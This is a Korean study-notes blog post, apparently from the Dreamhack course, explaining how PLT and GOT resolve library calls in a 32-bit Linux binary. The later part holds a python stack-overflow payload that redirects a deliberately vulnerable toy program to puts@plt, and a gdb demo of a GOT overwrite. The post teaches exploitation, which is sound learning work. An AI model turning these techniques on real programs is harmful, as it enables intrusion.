시스템 해킹/dream hack

[dream hack] PLT, GOT Section

ruming 2021. 2. 27. 13:30

2. PLT, GOT Section

PLT, GOT

 

example4.c

//gcc -o example4 example4.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -no-pie
#include <stdio.h>
int main(void){
  char buf[32] = {};
  puts("Hello World!");
  puts("Hello ASLR!");
  scanf("%s", buf);
  return 0;
}

example4의 디스어셈블리 결과

…
   0x08048480 <+37>:	push   0x8048540
   0x08048485 <+42>:	call   0x8048320 <puts@plt>
   0x0804848a <+47>:	add    esp,0x4
   0x0804848d <+50>:	push   0x804854d
   0x08048492 <+55>:	call   0x8048320 <puts@plt>
   0x08048497 <+60>:	add    esp,0x4
   0x0804849a <+63>:	lea    eax,[ebp-0x20]
   0x0804849d <+66>:	push   eax
   0x0804849e <+67>:	push   0x8048559
   0x080484a3 <+72>:	call   0x8048340 <__isoc99_scanf@plt>
…

puts와 scanf 함수를 호출할 때 해당 함수의 라이브러리 코드 주소로 바로 점프하지 않고 PLT 영역으로 점프하는 것을 확인 가능. 

PLT : 외부 라이브러리 함수를 사용할 수 있도록 주소를 연결해주는 역할을 하는 테이블

GOT : PLT에서 호출하는 resolve 함수를 통해 구한 라이브러리 함수의 절대 주소가 저장되어 있는 테이블

ASLR이 적용되어 있는 환경에서, 동적으로 라이브러리를 링크하여 실행되는 바이너리는 바이너리가 실행될 때마다 라이브러리가 매핑되는 메모리의 주소가 변한다. PLT와 GOT 영역이 존재하는 이유는 Dynamically linked binary의 경우 바이너리가 실행되기 전까지 라이브러리 함수의 주소를 알 수 없기 때문이다. 라이브러리가 메모리에 매핑된 후 라이브러리 함수가 호출되면, 정적 주소를 통해 해당 함수의 PLT와 GOT 영역에 접근함으로써 함수의 주소를 찾는다.

 

put 함수의 PLT

   0x8048320 <puts@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x8048326 <puts@plt+6>:	push   0x0
   0x804832b <puts@plt+11>:	jmp    0x8048310

 

puts 함수의 GOT

(gdb) x/wx 0x804a00c
0x804a00c:	0x08048326
(gdb)

 

디버깅을 통해 puts 함수를 호출했을 때 PLT에서 어떤 일을 하는지 확인하기

(gdb) b*0x8048485
Breakpoint 1 at 0x8048485
(gdb) r
Starting program: ~/example4 
Breakpoint 1, 0x08048485 in main ()
(gdb) x/i $eip
=> 0x8048485 <main+42>:	call   0x8048320 <puts@plt>
(gdb) si
0x08048320 in puts@plt ()
(gdb) x/4i $eip
=> 0x8048320 <puts@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x8048326 <puts@plt+6>:	push   0x0
   0x804832b <puts@plt+11>:	jmp    0x8048310
   0x8048330 <__libc_start_main@plt>:	jmp    DWORD PTR ds:0x804a010
(gdb) x/wx 0x804a00c
0x804a00c:	0x08048326
(gdb) x/2i 0x8048310
   0x8048310:	push   DWORD PTR ds:0x804a004
   0x8048316:	jmp    DWORD PTR ds:0x804a008
(gdb) x/wx 0x804a008
0x804a008:	0xf7fee000

puts@plt+0에서는 0x804a00c 메모리를 참조해 저장되어 있는 값으로 점프한다. 해당 메모리에는 puts@plt+6의 주소가 저장되어 있다. puts@plt+6에서는 스택에 0을 push한 후 0x8048310 함수로 점프한다. puts@plt+6에서는 스택에 0을 push 한 후 0x8048310 함수로 점프한다. 이후에는 0x804a008 주소에 저장되어 있는 0xf7fee000 함수로 점프한다.

 

(gdb) x/11i 0xf7fee000
   0xf7fee000:	push   eax
   0xf7fee001:	push   ecx
   0xf7fee002:	push   edx
   0xf7fee003:	mov    edx,DWORD PTR [esp+0x10]
   0xf7fee007:	mov    eax,DWORD PTR [esp+0xc]
   0xf7fee00b:	call   0xf7fe77e0
   0xf7fee010:	pop    edx
   0xf7fee011:	mov    ecx,DWORD PTR [esp]
   0xf7fee014:	mov    DWORD PTR [esp],eax
   0xf7fee017:	mov    eax,DWORD PTR [esp+0x4]
   0xf7fee01b:	ret    0xc
(gdb) b*0xf7fee01b
Breakpoint 2 at 0xf7fee01b
(gdb) c
Continuing.
Breakpoint 2, 0xf7fee01b in ?? () from /lib/ld-linux.so.2
(gdb) x/wx $esp
0xffffd520:	0xf7e62ca0
(gdb) x/i 0xf7e62ca0
   0xf7e62ca0 <puts>:	push   %ebp
(gdb) 

링커 라이브러리인 ld-linux.so.2 메모리에 있는 0xf7fee000 함수가 리턴하는 시점에 bp를 설정해 스택 메모리 확인. puts 함수로 점프하는 것으로 보아, 0xf7fee000 함수는 호출된 라이브러리 함수의 주소를 알아내는 함수임을 알 수 있음.

 

 

Abusing PLT, GOT

특정 함수의 PLT를 호출하면 함수의 실제 주소를 호출하는 것과 같은 효과를 나타낸다. PLT 주소는 고정되어 있기 때문에 서버에 ASLR 보호 기법이 적용되어 있어도 PLT로 점프하면 RTL과 비슷한 공격이 가능하다. 

example4에서 스택 버퍼 오버플로우 취약점을 이용해 리턴주소를 puts@plt+6(0x8048326)으로 바꾸고, 첫 번째 인자는 "ASLR!" 문자열의 주소인 0x8048553로 바꿔보자. 

$ (python -c 'print "A"*36 + "\x26\x83\x04\x08" + "BBBB" + "\x53\x85\x04\x08"') | ./example4
Hello World!
Hello ASLR!
ASLR!
[1]    121124 done                              ( python -c 'print "A"*36 + "\x26\x83\x04\x08" + "BBBB" + "\x53\x85\x04\x08"') | 
       121126 segmentation fault (core dumped)  ./example4

puts 함수가 실행되어 "ASLR!" 문자열이 출력된 것 확인. 하지만 puts 함수가 실행된 후 리턴할 주소는 0x42424242이기 때문에 Segmentation falut가 발생해 비정상 종료됨. 함수가 호출될 때 GOT에 저장된 주소로 점프하기 때문에 GOT에 저장된 값을 바꾸면 원하는 주소로 점프 가능함.

 

example4 바이너리의 main 함수에 bp를 걸고 실행한 후 puts함수의 GOT인 0x804a00c 메모리의 값을 0xdeadbeef로 바꿔보기

$ gdb -q ./example4
Reading symbols from ./example4...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048461
(gdb) r
Starting program: ~/example4 
Breakpoint 1, 0x08048461 in main ()
(gdb) set *0x804a00c = 0xdeadbeef
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) x/i $eip
=> 0xdeadbeef:	Cannot access memory at address 0xdeadbeef
(gdb) 

프로그램을 이어서 실행하면 puts가 호출될 때 puts@got에 저장된 값으로 점프해 eip 레지스터의 값이 0xdeadbeef로 바뀜. 

 

pLT에 존재하는 함수들(프로그램에서 한 번 이상 사용하는 라이브러리 함수)은 고정된 주소를 통해 호출 가능함. 하지만 example4에서는 최종 목표인 쉘을 획득하는 데 필요한 함수들(system 또는 exec 함수)을 사용하지 않아 ASLR 환경에서 직접적으로 해당 함수들을 호출할 수 없음.

 

'시스템 해킹 > dream hack' 카테고리의 다른 글

[dream hack] RELRO  (0) 2021.02.28
[dream hack] SSP  (0) 2021.02.28
[dream hack] ASLR  (0) 2021.02.26
[dream hack] NX bit  (0) 2021.02.20
[dream hack] NOP Sled  (0) 2021.02.18